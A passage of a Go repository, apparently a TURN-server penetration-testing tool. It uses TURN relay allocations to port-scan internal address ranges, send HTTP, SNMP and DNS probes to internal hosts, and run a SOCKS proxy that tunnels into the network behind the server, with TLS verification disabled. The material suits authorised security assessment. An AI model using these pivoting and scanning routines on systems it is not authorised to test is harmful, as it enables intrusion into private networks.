ipString := range ranges { 120 | ip, err := netip.ParseAddr(ipString) 121 | if err != nil { 122 | return fmt.Errorf("target is no valid ip address: %w", err) 123 | } 124 | 125 | suc, err := scanTCP(ctx, opts, ip, 80) 126 | if err != nil { 127 | opts.Log.Errorf("TCP %s: %v", ip, err) 128 | } 129 | if suc { 130 | opts.Log.Warnf("TCP %s was successful!", ip) 131 | } 132 | } 133 | return nil 134 | } 135 | 136 | func scanTCP(ctx context.Context, opts RangeScanOpts, targetHost netip.Addr, targetPort uint16) (bool, error) { 137 | conn, err := internal.Connect(ctx, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout) 138 | if err != nil { 139 | return false, err 140 | } 141 | defer conn.Close() 142 | 143 | addressFamily := internal.AllocateProtocolIgnore 144 | if targetHost.Is6() { 145 | addressFamily = internal.AllocateProtocolIPv6 146 | } 147 | 148 | allocateRequest := internal.AllocateRequest(internal.RequestedTransportTCP, addressFamily) 149 | allocateResponse, err := allocateRequest.SendAndReceive(ctx, opts.Log, conn, opts.Timeout) 150 | if err != nil { 151 | return false, fmt.Errorf("error on sending allocate request 1: %w", err) 152 | } 153 | if allocateResponse.Header.MessageType.Class != internal.MsgTypeClassError { 154 | return false, fmt.Errorf("MessageClass is not Error (should be not authenticated)") 155 | } 156 | 157 | realm := string(allocateResponse.GetAttribute(internal.AttrRealm).Value) 158 | nonce := string(allocateResponse.GetAttribute(internal.AttrNonce).Value) 159 | 160 | allocateRequest = internal.AllocateRequestAuth(opts.Username, opts.Password, nonce, realm, internal.RequestedTransportTCP, addressFamily) 161 | allocateResponse, err = allocateRequest.SendAndReceive(ctx, opts.Log, conn, opts.Timeout) 162 | if err != nil { 163 | return false, fmt.Errorf("error on sending allocate request 2: %w", err) 164 | } 165 | if allocateResponse.Header.MessageType.Class == internal.MsgTypeClassError { 166 | return false, fmt.Errorf("error on allocate response: %s", allocateResponse.GetErrorString()) 167 | } 168 | 169 | connectRequest, err := internal.ConnectRequestAuth(opts.Username, opts.Password, nonce, realm, targetHost, targetPort) 170 | if err != nil { 171 | return false, fmt.Errorf("error on generating Connect request: %w", err) 172 | } 173 | connectResponse, err := connectRequest.SendAndReceive(ctx, opts.Log, conn, opts.Timeout) 174 | if err != nil { 175 | // ignore timeouts, a timeout means open port 176 | if errors.Is(err, helper.ErrTimeout) { 177 | return true, nil 178 | } 179 | return false, fmt.Errorf("error on sending Connect request: %w", err) 180 | } 181 | if connectResponse.Header.MessageType.Class == internal.MsgTypeClassError { 182 | return false, fmt.Errorf("error on Connect response: %s", connectResponse.GetErrorString()) 183 | } 184 | 185 | return true, nil 186 | } 187 | 188 | func scanUDP(ctx context.Context, opts RangeScanOpts, targetHost netip.Addr, targetPort uint16) (bool, error) { 189 | remote, _, _, err := internal.SetupTurnConnection(ctx, opts.Log, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout, targetHost, targetPort, opts.Username, opts.Password) 190 | if err != nil { 191 | return false, err 192 | } 193 | defer remote.Close() 194 | 195 | return true, nil 196 | } 197 | -------------------------------------------------------------------------------- /internal/cmd/socks.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "strings" 7 | "time" 8 | 9 | socks "github.com/firefart/gosocks" 10 | "github.com/firefart/stunner/internal/socksimplementations" 11 | "github.com/sirupsen/logrus" 12 | ) 13 | 14 | type SocksOpts struct { 15 | TurnServer string 16 | Protocol string 17 | Username string 18 | Password string 19 | UseTLS bool 20 | Timeout time.Duration 21 | Log *logrus.Logger 22 | Listen string 23 | DropPublic bool 24 | } 25 | 26 | func (opts SocksOpts) Validate() error { 27 | if opts.TurnServer == "" { 28 | return fmt.Errorf("need a valid turnserver") 29 | } 30 | if !strings.Contains(opts.TurnServer, ":") { 31 | return fmt.Errorf("turnserver needs a port") 32 | } 33 | if opts.Protocol != "tcp" && opts.Protocol != "udp" { 34 | return fmt.Errorf("protocol needs to be either tcp or udp") 35 | } 36 | if opts.Username == "" { 37 | return fmt.Errorf("please supply a username") 38 | } 39 | if opts.Password == "" { 40 | return fmt.Errorf("please supply a password") 41 | } 42 | if opts.Log == nil { 43 | return fmt.Errorf("please supply a valid logger") 44 | } 45 | if opts.Listen == "" { 46 | return fmt.Errorf("please supply a valid listen address") 47 | } 48 | if !strings.Contains(opts.Listen, ":") { 49 | return fmt.Errorf("listen must be in the format host:port") 50 | } 51 | 52 | return nil 53 | } 54 | 55 | func Socks(ctx context.Context, opts SocksOpts) error { 56 | if err := opts.Validate(); err != nil { 57 | return err 58 | } 59 | 60 | handler := &socksimplementations.SocksTurnTCPHandler{ 61 | Server: opts.TurnServer, 62 | TURNUsername: opts.Username, 63 | TURNPassword: opts.Password, 64 | Timeout: opts.Timeout, 65 | UseTLS: opts.UseTLS, 66 | DropNonPrivateRequests: opts.DropPublic, 67 | Log: opts.Log, 68 | } 69 | p := socks.Proxy{ 70 | ServerAddr: opts.Listen, 71 | Proxyhandler: handler, 72 | Timeout: opts.Timeout, 73 | Log: opts.Log, 74 | } 75 | opts.Log.Infof("starting SOCKS server on %s", opts.Listen) 76 | if err := p.Start(ctx); err != nil { 77 | return err 78 | } 79 | <-p.Done 80 | return nil 81 | } 82 | -------------------------------------------------------------------------------- /internal/cmd/tcpscanner.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "context" 5 | "crypto/tls" 6 | "encoding/hex" 7 | "fmt" 8 | "net/netip" 9 | "strconv" 10 | "strings" 11 | "time" 12 | 13 | "github.com/firefart/stunner/internal" 14 | "github.com/firefart/stunner/internal/helper" 15 | "github.com/sirupsen/logrus" 16 | ) 17 | 18 | const httpRequest = "GET / HTTP/1.0\r\n\r\n" 19 | 20 | type TCPScannerOpts struct { 21 | TurnServer string 22 | Protocol string 23 | Username string 24 | Password string 25 | UseTLS bool 26 | Timeout time.Duration 27 | Log *logrus.Logger 28 | Ports []string 29 | IPs []string 30 | } 31 | 32 | func (opts TCPScannerOpts) Validate() error { 33 | if opts.TurnServer == "" { 34 | return fmt.Errorf("need a valid turnserver") 35 | } 36 | if !strings.Contains(opts.TurnServer, ":") { 37 | return fmt.Errorf("turnserver needs a port") 38 | } 39 | if opts.Protocol != "tcp" && opts.Protocol != "udp" { 40 | return fmt.Errorf("protocol needs to be either tcp or udp") 41 | } 42 | if opts.Username == "" { 43 | return fmt.Errorf("please supply a username") 44 | } 45 | if opts.Password == "" { 46 | return fmt.Errorf("please supply a password") 47 | } 48 | if opts.Log == nil { 49 | return fmt.Errorf("please supply a valid logger") 50 | } 51 | if len(opts.Ports) == 0 { 52 | return fmt.Errorf("please supply valid ports") 53 | } 54 | // no need to check IPs, it can be nil 55 | 56 | return nil 57 | } 58 | 59 | func TCPScanner(ctx context.Context, opts TCPScannerOpts) error { 60 | if err := opts.Validate(); err != nil { 61 | return err 62 | } 63 | 64 | ipInput := opts.IPs 65 | if len(ipInput) == 0 { 66 | ipInput = helper.PrivateRanges 67 | } 68 | 69 | ipChan := helper.IPIterator(ipInput) 70 | 71 | for ip := range ipChan { 72 | if ip.Error != nil { 73 | opts.Log.Error(ip.Error) 74 | continue 75 | } 76 | for _, port := range opts.Ports { 77 | port := strings.TrimSpace(port) 78 | portI, err := strconv.ParseInt(port, 10, 16) 79 | if err != nil { 80 | return fmt.Errorf("invalid port %s: %w", port, err) 81 | } 82 | opts.Log.Debugf("Scanning %s:%d", ip.IP.String(), portI) 83 | if err := httpScan(ctx, opts, ip.IP, uint16(portI)); err != nil { 84 | opts.Log.Errorf("error on running HTTP Scan for %s:%d: %v", ip.IP.String(), portI, err) 85 | } 86 | } 87 | } 88 | 89 | return nil 90 | } 91 | 92 | func httpScan(ctx context.Context, opts TCPScannerOpts, ip netip.Addr, port uint16) error { 93 | _, _, controlConnection, dataConnection, err := internal.SetupTurnTCPConnection(ctx, opts.Log, opts.TurnServer, opts.UseTLS, opts.Timeout, ip, port, opts.Username, opts.Password) 94 | if err != nil { 95 | return err 96 | } 97 | defer controlConnection.Close() 98 | defer dataConnection.Close() 99 | 100 | useTLS := port == 443 || port == 8443 || port == 7443 || port == 8843 101 | if useTLS { 102 | tlsConn := tls.Client(dataConnection, &tls.Config{InsecureSkipVerify: true}) 103 | if err := helper.ConnectionWrite(ctx, tlsConn, []byte(httpRequest), opts.Timeout); err != nil { 104 | return fmt.Errorf("error on sending TLS data: %w", err) 105 | } 106 | data, err := helper.ConnectionReadAll(ctx, tlsConn, opts.Timeout) 107 | if err != nil { 108 | return fmt.Errorf("error on reading after sending TLS data: %w", err) 109 | } 110 | opts.Log.Info(string(data)) 111 | opts.Log.Info(hex.EncodeToString(data)) 112 | return nil 113 | } 114 | 115 | // plain text connection 116 | if err := helper.ConnectionWrite(ctx, dataConnection, []byte(httpRequest), opts.Timeout); err != nil { 117 | return fmt.Errorf("error on sending data: %w", err) 118 | } 119 | data, err := helper.ConnectionReadAll(ctx, dataConnection, opts.Timeout) 120 | if err != nil { 121 | return fmt.Errorf("error on reading after sending data: %w", err) 122 | } 123 | opts.Log.Info(string(data)) 124 | opts.Log.Info(hex.EncodeToString(data)) 125 | return nil 126 | } 127 | -------------------------------------------------------------------------------- /internal/cmd/udpscanner.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "fmt" 7 | "math/rand" 8 | "net/netip" 9 | "strings" 10 | "time" 11 | 12 | "github.com/firefart/stunner/internal" 13 | "github.com/firefart/stunner/internal/helper" 14 | "github.com/sirupsen/logrus" 15 | ) 16 | 17 | type UDPScannerOpts struct { 18 | TurnServer string 19 | Protocol string 20 | Username string 21 | Password string 22 | UseTLS bool 23 | Timeout time.Duration 24 | Log *logrus.Logger 25 | CommunityString string 26 | DomainName string 27 | IPs []string 28 | } 29 | 30 | func (opts UDPScannerOpts) Validate() error { 31 | if opts.TurnServer == "" { 32 | return fmt.Errorf("need a valid turnserver") 33 | } 34 | if !strings.Contains(opts.TurnServer, ":") { 35 | return fmt.Errorf("turnserver needs a port") 36 | } 37 | if opts.Protocol != "tcp" && opts.Protocol != "udp" { 38 | return fmt.Errorf("protocol needs to be either tcp or udp") 39 | } 40 | if opts.Username == "" { 41 | return fmt.Errorf("please supply a username") 42 | } 43 | if opts.Password == "" { 44 | return fmt.Errorf("please supply a password") 45 | } 46 | if opts.Log == nil { 47 | return fmt.Errorf("please supply a valid logger") 48 | } 49 | if opts.CommunityString == "" { 50 | return fmt.Errorf("please supply a valid community string") 51 | } 52 | if opts.DomainName == "" { 53 | return fmt.Errorf("please supply a valid domain name") 54 | } 55 | // no need to check IPs, it can be nil 56 | 57 | return nil 58 | } 59 | 60 | func UDPScanner(ctx context.Context, opts UDPScannerOpts) error { 61 | if err := opts.Validate(); err != nil { 62 | return err 63 | } 64 | 65 | ipInput := opts.IPs 66 | if len(ipInput) == 0 { 67 | ipInput = helper.PrivateRanges 68 | } 69 | 70 | ipChan := helper.IPIterator(ipInput) 71 | 72 | for ip := range ipChan { 73 | if ip.Error != nil { 74 | opts.Log.Error(ip.Error) 75 | continue 76 | } 77 | opts.Log.Debugf("Scanning %s", ip.IP.String()) 78 | if err := snmpScan(ctx, opts, ip.IP, 161, opts.CommunityString); err != nil { 79 | opts.Log.Errorf("error on running SNMP Scan for ip %s: %v", ip.IP.String(), err) 80 | } 81 | if err := dnsScan(ctx, opts, ip.IP, 53, opts.DomainName); err != nil { 82 | opts.Log.Errorf("error on running DNS Scan for ip %s: %v", ip.IP.String(), err) 83 | } 84 | } 85 | 86 | return nil 87 | } 88 | 89 | func snmpScan(ctx context.Context, opts UDPScannerOpts, ip netip.Addr, port uint16, community string) error { 90 | remote, realm, nonce, err := internal.SetupTurnConnection(ctx, opts.Log, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout, ip, port, opts.Username, opts.Password) 91 | if err != nil { 92 | // ignore timeouts 93 | if errors.Is(err, helper.ErrTimeout) { 94 | return nil 95 | } 96 | return err 97 | } 98 | defer remote.Close() 99 | 100 | channelNumber, err := helper.RandomChannelNumber() 101 | if err != nil { 102 | return fmt.Errorf("error on getting random channel number: %w", err) 103 | } 104 | channelBindRequest, err := internal.ChannelBindRequest(opts.Username, opts.Password, nonce, realm, ip, port, channelNumber) 105 | if err != nil { 106 | return fmt.Errorf("error on generating ChannelBindRequest: %w", err) 107 | } 108 | 109 | channelBindResponse, err := channelBindRequest.SendAndReceive(ctx, opts.Log, remote, opts.Timeout) 110 | if err != nil { 111 | return fmt.Errorf("error on sending ChannelBindRequest: %w", err) 112 | } 113 | 114 | if channelBindResponse.Header.MessageType.Class == internal.MsgTypeClassError { 115 | return fmt.Errorf("error on ChannelBind: %s", channelBindResponse.GetErrorString()) 116 | } 117 | 118 | var snmp []byte 119 | var inner []byte 120 | // junk before version 121 | inner = append(inner, 0x02) 122 | inner = append(inner, 0x01) 123 | // version 1 == v2c 124 | inner = append(inner, 1) 125 | // 4 - some random stuff 126 | inner = append(inner, 0x04) 127 | // length of community string 128 | inner = append(inner, uint8(len(community))) 129 | // community string 130 | inner = append(inner, []byte(community)...) 131 | // get-next 1.3.6.1.2.1 132 | inner = append(inner, []byte{0xa1, 0x19, 0x02, 0x04}...) 133 | // request ID 134 | inner = append(inner, helper.PutUint32(rand.Uint32())...) 135 | // rest 136 | inner = append(inner, 0x02, 0x01, 0x00, 0x02, 0x01, 0x00, 0x30, 0x0b, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x06, 0x01, 0x02, 0x01, 0x05, 0x00) 137 | 138 | // Sequence 139 | snmp = append(snmp, 0x30) 140 | // Overall Length 141 | snmp = append(snmp, uint8(len(inner))) 142 | snmp = append(snmp, inner...) 143 | 144 | snmpLen := len(snmp) 145 | 146 | var buf []byte 147 | buf = append(buf, channelNumber...) 148 | buf = append(buf, helper.PutUint16(uint16(snmpLen))...) 149 | buf = append(buf, snmp...) 150 | 151 | err = helper.ConnectionWrite(ctx, remote, buf, opts.Timeout) 152 | if err != nil { 153 | return fmt.Errorf("error on sending SNMP request: %w", err) 154 | } 155 | 156 | resp, err := helper.ConnectionReadAll(ctx, remote, opts.Timeout) 157 | if err != nil { 158 | // ignore timeouts 159 | if errors.Is(err, helper.ErrTimeout) { 160 | return nil 161 | } 162 | return fmt.Errorf("error on reading SNMP response: %w", err) 163 | } 164 | 165 | channel, data, err := internal.ExtractChannelData(resp) 166 | if err != nil { 167 | return err 168 | } 169 | 170 | opts.Log.Infof("received %d bytes on channel %02x for ip %s", len(data), channel, ip.String()) 171 | opts.Log.Infof("UDP Response: %s", string(resp)) 172 | 173 | return nil 174 | } 175 | 176 | func dnsScan(ctx context.Context, opts UDPScannerOpts, ip netip.Addr, port uint16, dnsName string) error { 177 | remote, realm, nonce, err := internal.SetupTurnConnection(ctx, opts.Log, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout, ip, port, opts.Username, opts.Password) 178 | if err != nil { 179 | // ignore timeouts 180 | if errors.Is(err, helper.ErrTimeout) { 181 | return nil 182 | } 183 | return err 184 | } 185 | defer remote.Close() 186 | 187 | channelNumber, err := helper.RandomChannelNumber() 188 | if err != nil { 189 | return fmt.Errorf("error on getting random channel number: %w", err) 190 | } 191 | channelBindRequest, err := internal.ChannelBindRequest(opts.Username, opts.Password, nonce, realm, ip, port, channelNumber) 192 | if err != nil { 193 | return fmt.Errorf("error on generating ChannelBindRequest: %w", err) 194 | } 195 | 196 | channelBindResponse, err := channelBindRequest.SendAndReceive(ctx, opts.Log, remote, opts.Timeout) 197 | if err != nil { 198 | return fmt.Errorf("error on sending ChannelBindRequest: %w", err) 199 | } 200 | 201 | if channelBindResponse.Header.MessageType.Class == internal.MsgTypeClassError { 202 | return fmt.Errorf("error on ChannelBind: %s", channelBindResponse.GetErrorString()) 203 | } 204 | 205 | var dns []byte 206 | 207 | // transactionID 208 | dns = append(dns, helper.PutUint16(uint16(rand.Uint32()))...) 209 | // FLAGS: standard query 210 | dns = append(dns, []byte{0x01, 0x00}...) 211 | // Questions: 1 212 | dns = append(dns, helper.PutUint16(1)...) 213 | // Answer RRs: 0 214 | dns = append(dns, helper.PutUint16(0)...) 215 | // Authority RRs: 0 216 | dns = append(dns, helper.PutUint16(0)...) 217 | // Additional RRs: 0 218 | dns = append(dns, helper.PutUint16(0)...) 219 | 220 | // Query: LEN, DOMAIN (null byte terminated), 0x0001, 0x0001 221 | domainParts := strings.Split(dnsName, ".") 222 | var domainBuf []byte 223 | for _, x := range domainParts { 224 | domainBuf = append(domainBuf, uint8(len(x))) 225 | domainBuf = append(domainBuf, []byte(x)...) 226 | } 227 | // terminate with a null byte 228 | domainBuf = append(domainBuf, 0x00) 229 | // Type A 230 | domainBuf = append(domainBuf, helper.PutUint16(1)...) 231 | // Class: IN 232 | domainBuf = append(domainBuf, helper.PutUint16(1)...) 233 | 234 | dns = append(dns, domainBuf...) 235 | 236 | dnsLen := len(dns) 237 | 238 | var buf []byte 239 | buf = append(buf, channelNumber...) 240 | buf = append(buf, helper.PutUint16(uint16(dnsLen))...) 241 | buf = append(buf, dns...) 242 | 243 | err = helper.ConnectionWrite(ctx, remote, buf, opts.Timeout) 244 | if err != nil { 245 | return fmt.Errorf("error on sending DNS request: %w", err) 246 | } 247 | 248 | resp, err := helper.ConnectionReadAll(ctx, remote, opts.Timeout) 249 | if err != nil { 250 | // ignore timeouts 251 | if errors.Is(err, helper.ErrTimeout) { 252 | return nil 253 | } 254 | return fmt.Errorf("error on reading DNS response: %w", err) 255 | } 256 | 257 | channel, data, err := internal.ExtractChannelData(resp) 258 | if err != nil { 259 | return err 260 | } 261 | 262 | opts.Log.Infof("received %d bytes on channel %02x for ip %s", len(data), channel, ip.String()) 263 | opts.Log.Infof("UDP Response: %s", string(resp)) 264 | 265 | return nil 266 | } 267 | -------------------------------------------------------------------------------- /internal/connection.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | "bufio" 5 | "context" 6 | "crypto/tls" 7 | "fmt" 8 | "net" 9 | "slices" 10 | "time" 11 | 12 | "github.com/firefart/stunner/internal/helper" 13 | "github.com/pion/dtls/v2" 14 | ) 15 | 16 | func Connect(ctx context.Context, protocol string, turnServer string, useTLS bool, timeout time.Duration) (net.Conn, error) { 17 | if !useTLS { 18 | // non TLS connection 19 | conn, err := net.DialTimeout(protocol, turnServer, timeout) 20 | if err != nil { 21 | return nil, fmt.Errorf("error on establishing a connection to the server: %w", err) 22 | } 23 | return conn, nil 24 | } 25 | 26 | // if we reach here we have a TLS connection 27 | switch protocol { 28 | case "tcp": 29 | d := net.Dialer{ 30 | Timeout: timeout, 31 | } 32 | conn, err := tls.DialWithDialer(&d, protocol, turnServer, &tls.Config{ 33 | InsecureSkipVerify: true, 34 | }) 35 | if err != nil { 36 | return nil, fmt.Errorf("error on establishing a TLS connection to the server: %w", err) 37 | } 38 | return conn, nil 39 | case "udp": 40 | conn, err := net.DialTimeout(protocol, turnServer, timeout) 41 | if err != nil { 42 | return nil, fmt.Errorf("error on establishing a connection to the server: %w", err) 43 | } 44 | ctx, cancel := context.WithTimeout(ctx, timeout) 45 | defer cancel() 46 | dtlsConn, err := dtls.ClientWithContext(ctx, conn, &dtls.Config{ 47 | InsecureSkipVerify: true, 48 | }) 49 | if err != nil { 50 | return nil, fmt.Errorf("error on establishing a DTLS connection to the server: %w", err) 51 | } 52 | return dtlsConn, nil 53 | default: 54 | return nil, fmt.Errorf("invalid protocol %s", protocol) 55 | } 56 | } 57 | 58 | // send serializes a STUN object and sends it on the provided connection 59 | func (s *Stun) send(ctx context.Context, conn net.Conn, timeout time.Duration) error { 60 | data, err := s.Serialize() 61 | if err != nil { 62 | return fmt.Errorf("Serialize: %w", err) 63 | } 64 | if err := helper.ConnectionWrite(ctx, conn, data, timeout); err != nil { 65 | return fmt.Errorf("ConnectionWrite: %w", err) 66 | } 67 | 68 | return nil 69 | } 70 | 71 | // SendAndReceive sends a TURN request on a connection and gets a response 72 | func (s *Stun) SendAndReceive(ctx context.Context, logger DebugLogger, conn net.Conn, timeout time.Duration) (*Stun, error) { 73 | logger.Debugf("Sending\n%s", s.String()) 74 | err := s.send(ctx, conn, timeout) 75 | if err != nil { 76 | return nil, fmt.Errorf("SendAndReceive: %w", err) 77 | } 78 | 79 | // need this otherwise the read call is blocking forever 80 | if err := conn.SetReadDeadline(time.Now().Add(timeout)); err != nil { 81 | return nil, fmt.Errorf("could not set read deadline: %v", err) 82 | } 83 | 84 | r := bufio.NewReader(conn) 85 | // read the header first to get the message length 86 | header, err := helper.ConnectionRead(ctx, r, headerSize, timeout) 87 | if err != nil { 88 | return nil, fmt.Errorf("ConnectionRead Header: %w", err) 89 | } 90 | headerParsed := parseHeader(header) 91 | expectedPacketSize := int(headerParsed.MessageLength) // + headerSize 92 | logger.Debugf("expectedPacketSize %d", expectedPacketSize) 93 | 94 | // only read the message length and leave potential additional data on the connection 95 | // for later read operations 96 | buffer, err := helper.ConnectionRead(ctx, r, expectedPacketSize, timeout) 97 | if err != nil { 98 | return nil, fmt.Errorf("ConnectionRead: %w", err) 99 | } 100 | resp, err := fromBytes(slices.Concat(header, buffer)) 101 | if err != nil { 102 | return nil, fmt.Errorf("fromBytes: %w", err) 103 | } 104 | logger.Debugf("Received\n%s", resp.String()) 105 | return resp, nil 106 | } 107 | -------------------------------------------------------------------------------- /internal/helper/connection.go: -------------------------------------------------------------------------------- 1 | package helper 2 | 3 | import ( 4 | "bufio" 5 | "context" 6 | "errors" 7 | "fmt" 8 | "io" 9 | "net" 10 | "time" 11 | ) 12 | 13 | var ErrTimeout = errors.New("timeout occurred. you can try to increase the timeout if the server responds too slowly") 14 | 15 | // ConnectionReadAll reads all data from a connection 16 | func ConnectionReadAll(ctx context.Context, conn net.Conn, timeout time.Duration) ([]byte, error) { 17 | // need this otherwise the read call is blocking forever 18 | if err := conn.SetReadDeadline(time.Now().Add(timeout)); err != nil { 19 | return nil, fmt.Errorf("could not set read deadline: %v", err) 20 | } 21 | return connectionRead(ctx, bufio.NewReader(conn), nil, timeout) 22 | } 23 | 24 | // ConnectionRead reads the data from the connection up to maxSizeToRead 25 | func ConnectionRead(ctx context.Context, r *bufio.Reader, maxSizeToRead int, timeout time.Duration) ([]byte, error) { 26 | return connectionRead(ctx, r, &maxSizeToRead, timeout) 27 | } 28 | 29 | func connectionRead(ctx context.Context, r *bufio.Reader, maxSizeToRead *int, timeout time.Duration) ([]byte, error) { 30 | var ret []byte 31 | 32 | ctx, cancel := context.WithTimeout(ctx, timeout) 33 | defer cancel() 34 | 35 | bufLen := 1024 36 | if maxSizeToRead != nil && *maxSizeToRead < bufLen { 37 | bufLen = *maxSizeToRead 38 | } 39 | 40 | buf := make([]byte, bufLen) 41 | alreadyRead := 0 42 | for { 43 | select { 44 | case <-ctx.Done(): 45 | return nil, ctx.Err() 46 | default: 47 | i, err := r.Read(buf) 48 | if err != nil { 49 | if err != io.EOF { 50 | // also return read data on timeout so caller can use it 51 | var netErr net.Error 52 | if errors.As(err, &netErr) && netErr.Timeout() { 53 | return ret, ErrTimeout 54 | } 55 | return nil, err 56 | } 57 | return ret, nil 58 | } 59 | alreadyRead += i 60 | ret = append(ret, buf[:i]...) 61 | // we've read all data, bail out 62 | if i < bufLen || (maxSizeToRead != nil && (alreadyRead >= *maxSizeToRead)) { 63 | return ret, nil 64 | } 65 | } 66 | } 67 | } 68 | 69 | // ConnectionWrite makes sure to write all data to a connection 70 | func ConnectionWrite(ctx context.Context, conn net.Conn, data []byte, timeout time.Duration) error { 71 | toWriteLeft := len(data) 72 | written := 0 73 | var err error 74 | 75 | ctx, cancel := context.WithTimeout(ctx, timeout) 76 | defer cancel() 77 | 78 | // need this otherwise the read call is blocking forever 79 | if err := conn.SetWriteDeadline(time.Now().Add(timeout)); err != nil { 80 | return fmt.Errorf("could not set write deadline: %v", err) 81 | } 82 | 83 | for { 84 | select { 85 | case <-ctx.Done(): 86 | return ctx.Err() 87 | default: 88 | written, err = conn.Write(data[written:toWriteLeft]) 89 | if err != nil { 90 | var netErr net.Error 91 | if errors.As(err, &netErr) && netErr.Timeout() { 92 | return ErrTimeout 93 | } 94 | } 95 | if written == toWriteLeft { 96 | return nil 97 | } 98 | toWriteLeft -= written 99 | } 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /internal/helper/helper.go: -------------------------------------------------------------------------------- 1 | package helper 2 | 3 | import ( 4 | cryptorand "crypto/rand" 5 | "encoding/binary" 6 | "math/rand" 7 | "net/netip" 8 | "unicode" 9 | ) 10 | 11 | var printRanges = []*unicode.RangeTable{ 12 | unicode.L, unicode.M, unicode.N, unicode.P, unicode.Z, 13 | } 14 | 15 | // IsPrintable returns true if the string only contains printable characters 16 | func IsPrintable(s string) bool { 17 | for _, r := range s { 18 | if !unicode.IsOneOf(printRanges, r) { 19 | return false 20 | } 21 | } 22 | return true 23 | } 24 | 25 | // RandomString generates a random string of specified length 26 | func RandomString(length int) string { 27 | letterRunes := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") 28 | b := make([]rune, length) 29 | for i := range b { 30 | b[i] = letterRunes[rand.Intn(len(letterRunes))] 31 | } 32 | return string(b) 33 | } 34 | 35 | func IsPrivateIP(ip netip.Addr) bool { 36 | if ip.IsGlobalUnicast() || ip.IsInterfaceLocalMulticast() || 37 | ip.IsLinkLocalMulticast() || ip.IsLinkLocalUnicast() || 38 | ip.IsLoopback() || ip.IsMulticast() || ip.IsPrivate() || 39 | ip.IsUnspecified() { 40 | return true 41 | } 42 | 43 | return false 44 | } 45 | 46 | // RandomChannelNumber generates a random valid channel number 47 | // 0x4000 through 0x7FFF: These values are the allowed channel 48 | // numbers (16,383 possible values). 49 | func RandomChannelNumber() ([]byte, error) { 50 | token := make([]byte, 2) 51 | for { 52 | if _, err := cryptorand.Read(token); err != nil { 53 | return nil, err 54 | } 55 | if token[0] >= 0x40 && 56 | token[0] <= 0x7f { 57 | break 58 | } 59 | } 60 | return token, nil 61 | } 62 | 63 | // PutUint16 is a helper function to convert an uint16 to a buffer 64 | func PutUint16(v uint16) []byte { 65 | buf := make([]byte, 2) 66 | binary.BigEndian.PutUint16(buf, v) 67 | return buf 68 | } 69 | 70 | // PutUint32 is a helper function to convert an uint32 to a buffer 71 | func PutUint32(v uint32) []byte { 72 | buf := make([]byte, 4) 73 | binary.BigEndian.PutUint32(buf, v) 74 | return buf 75 | } 76 | -------------------------------------------------------------------------------- /internal/helper/helper_test.go: -------------------------------------------------------------------------------- 1 | package helper 2 | 3 | import "testing" 4 | 5 | func TestRandomChannelNumber(t *testing.T) { 6 | for i := 0; i < 1000; i++ { 7 | channel, err := RandomChannelNumber() 8 | if err != nil { 9 | t.Fatal(err) 10 | } 11 | if channel[0] < 0x40 || channel[0] > 0x7F { 12 | t.Fail() 13 | } 14 | } 15 | } 16 | 17 | func TestPutUint16(t *testing.T) { 18 | t.Parallel() 19 | out := PutUint16(16) 20 | if len(out) != 2 { 21 | t.Error("UINT16 length is not 2") 22 | } 23 | } 24 | 25 | func TestPutUint32(t *testing.T) { 26 | t.Parallel() 27 | out := PutUint32(16) 28 | if len(out) != 4 { 29 | t.Error("UINT32 length is not 4") 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /internal/helper/iphelper.go: -------------------------------------------------------------------------------- 1 | package helper 2 | 3 | import ( 4 | "fmt" 5 | "net/netip" 6 | "strings" 7 | ) 8 | 9 | var PrivateRanges = []string{ 10 | "127.0.0.1/32", 11 | "10.0.0.0/8", 12 | "172.16.0.0/12", 13 | "192.168.0.0/16", 14 | } 15 | 16 | type IP struct { 17 | IP netip.Addr 18 | Error error 19 | } 20 | 21 | func IPIterator(ranges []string) <-chan IP { 22 | c := make(chan IP) 23 | go func() { 24 | defer close(c) 25 | for _, ipRange := range ranges { 26 | if strings.Contains(ipRange, "/") { 27 | // CIDR 28 | prefix, err := netip.ParsePrefix(ipRange) 29 | if err != nil { 30 | c <- IP{Error: err} 31 | continue 32 | } 33 | GenerateSinglePrivateIPs(prefix, c) 34 | } else { 35 | tmp, err := netip.ParseAddr(ipRange) 36 | if err != nil { 37 | c <- IP{Error: fmt.Errorf("invalid IP %s: %w", ipRange, err)} 38 | continue 39 | } 40 | c <- IP{IP: tmp} 41 | } 42 | } 43 | }() 44 | return c 45 | } 46 | 47 | func GenerateSinglePrivateIPs(prefix netip.Prefix, c chan<- IP) { 48 | ip := prefix.Addr() 49 | for { 50 | // loop until ip is out of range 51 | if !prefix.Contains(ip) { 52 | return 53 | } 54 | c <- IP{IP: ip} 55 | ip = ip.Next() 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /internal/helper/resolver.go: -------------------------------------------------------------------------------- 1 | package helper 2 | 3 | import ( 4 | "context" 5 | "net" 6 | "net/netip" 7 | ) 8 | 9 | // ResolveName resolves a domain name to an IP address 10 | func ResolveName(ctx context.Context, name string) ([]netip.Addr, error) { 11 | addr, err := net.DefaultResolver.LookupNetIP(ctx, "ip", name) 12 | if err != nil { 13 | return []netip.Addr{}, err 14 | } 15 | return addr, err 16 | } 17 | -------------------------------------------------------------------------------- /internal/helpers_string.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | func MessageTypeMethodString(s MessageTypeMethod) string { 4 | str, ok := msgTypeMethodNames[s] 5 | if ok { 6 | return str 7 | } 8 | str, ok = turnMsgTypeMethodNames[s] 9 | if ok { 10 | return str 11 | } 12 | str, ok = turnTCPMsgTypeMethodNames[s] 13 | if ok { 14 | return str 15 | } 16 | return "" 17 | } 18 | 19 | func MessageTypeClassString(s MessageTypeClass) string { 20 | str, ok := msgTypeClassNames[s] 21 | if ok { 22 | return str 23 | } 24 | return "" 25 | } 26 | 